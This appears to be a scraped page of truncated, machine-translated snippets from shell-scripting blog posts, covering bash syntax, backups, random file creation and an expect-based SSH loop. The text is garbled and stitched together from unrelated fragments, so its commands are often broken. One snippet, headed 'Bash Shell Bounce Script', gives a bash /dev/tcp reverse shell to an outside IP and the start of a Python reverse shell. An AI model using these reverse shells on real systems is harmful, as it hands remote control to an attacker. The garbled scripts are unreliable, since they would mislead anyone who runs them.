Shell

The basic features of bash:Command completion:The shell program receives a request from the user to execute the command, and after the analysis is completed, the leftmost string is treated as a command;Command Lookup mechanism:Find internal commands;

The difference between source test.sh and./test.sh is that source can use the variables of the test.sh script after the script is executed, and./test.sh, its variables can only be used in scripts.Variables can be divided into global variables, local

Organized a number of shell-related exercises, recorded here.1. Please follow the date format xxxx-xx-xx to generate a daily file, for example: The file generated today is 2013-09-23.log, and the use of the disk is written to this file.1 #!/bin/bash2

Script 1 Stop Lampp#!/bin/bash#set-XV Open debug mode?Count= ' Ps-ef|grep lampp|grep-v "grep" |wc-l ' # "" is the TAB key that holds down shift to appear ~ symbol, excluding the command count lines of grep itselfIf [$count-GT 0] # greater than one

Shell in && | | Usage && operator:  command1  && command2 && Left command (Command 1) returns True (that is, returns 0, successfully executed) after,&& The command on the right (command 2) can be executed, in other words, "If this command executes

Shell Syntax formatIf statementIf conditionThenCommand sequenceFiIf conditionThenCommand sequenceElseCommand sequenceFiIf conditionThenCommand sequenceElif conditionsThenCommand sequenceElif conditionsThenCommand sequenceElseCommand

CMD is also a shell of Shell windowns.View files and folders dirmkdir * * * Create folder Rd* * Delete folder (should have parameters, recursion, etc.)Ctr+c Abort Commandcd>***.** Creating a file del filename Type + relative path view

#!/bin/bashread-p "Please enter the number of start:" Minread-p "Please enter the number of terminations:" Maxif [$min-gt $max]thenecho "Start number is greater than the number of terminations! "Elseecho-n" random number: " ; expr $ (date +%n)% $[

#! /usr/bin/expectip_array = $ (cat /tmp/ip.txt) username = rootfor ip  in ${ip_array[*]} {                 ##### #IPspawn  ssh -p 6122 [email protected]$ $ipexpect  {"(yes/ NO)? "  { send  "yes\r";  exp_continue } "Password:"  { send  "[email 

1. Shell basic format, variable# Add an interpreter to the shell script #! /bin/bash# Print out Hello world with a script#! /bin/bashecho "Hello World"ExitParameters: A parameter is an entity that stores real values that are typically referenced in

function inpasswd {Read-s-P "Enter you Password:" Passwd1EchoRead-s-P "please Check Password" passwd2Echoif [[$passwd 1 = = $passwd 2]]Thenecho "correct" && exit 1Elseecho "Incorrect"echo "Please Input Agin"Fi}Count=1While TrueDoIf [$count-GT

Technorati tag: Shell,df,sed,awk -Monitor System statistics Monitor disk free space Disk Resource Usage Monitor CPU and Memory usage -Perform a backup Archive data files Offline Storage of Backup files

Enter 2 numbers (x, y) if x equals Y, the output is z=x+y, if x is greater than Y, the output is z=x-y, otherwise the output z=x+yVI number2.sh#!/bin/bash#written by Lizheng#about Panduanecho "Please enter the number"Read XRead Yif test $x-eq $yThen

The company now needs to make regular backups of the existing servers and place the backup files in the NAS being used;For the efficiency of backup, we also need to filter the backup files and exclude some files with suffix names.The implementation

Shell programming################################################Static languageDynamic language################################################Programming languages: Machine language, assembly language, advanced languages############################

Before modifying the file name#!/bin/bask#for A in $ (ls/etc/yum.repos.d/centos*);d oif [$a! = '/etc/yum.repos.d/centos-media.repo '];then #CentO The S-media.repo file name does not modify the MV $a $a. bak

1. Batch generation of random character file name casesUse the For loop to bulk create 10 HTML files in the/sixijie directory, where each file needs to contain 10 random lowercase characters plus a fixed string sxj, with the following name examples:[

#!/bin/bashecho "**********argument**********"Echo Script Name: $Echo First argument $echo second argumentecho num of argument $#echo all argument [email protected]#functionEqual (){Case $ in$)return 0;;*)Return 1;;Esac}#ifecho "**********test if****

Bash Shell Bounce Script/bin/bash-i >/dev/tcp/10.211. 55.11/443012>&1Python Shell Bounce Script# !/usr/bin/python # This is a Python reverse shell script Import socket,subprocess,os;s=socket.socket (socket.af_inet,socket. SOCK_STREAM); S.connect (("1

Empty Shell end:Vim/etc/named.rfc1912.zonescd/var/named/cp-p westos.com.zone Westos.org.zoneVim Westos.orf.zone650) this.width=650; "Src=" Http://s3.51cto.com/wyfs02/M01/8B/4C/wKiom1hJAw3QQXmuAABg2u1TR8g913.png-wh_500x0-wm_3 -wmp_4-s_254782645.png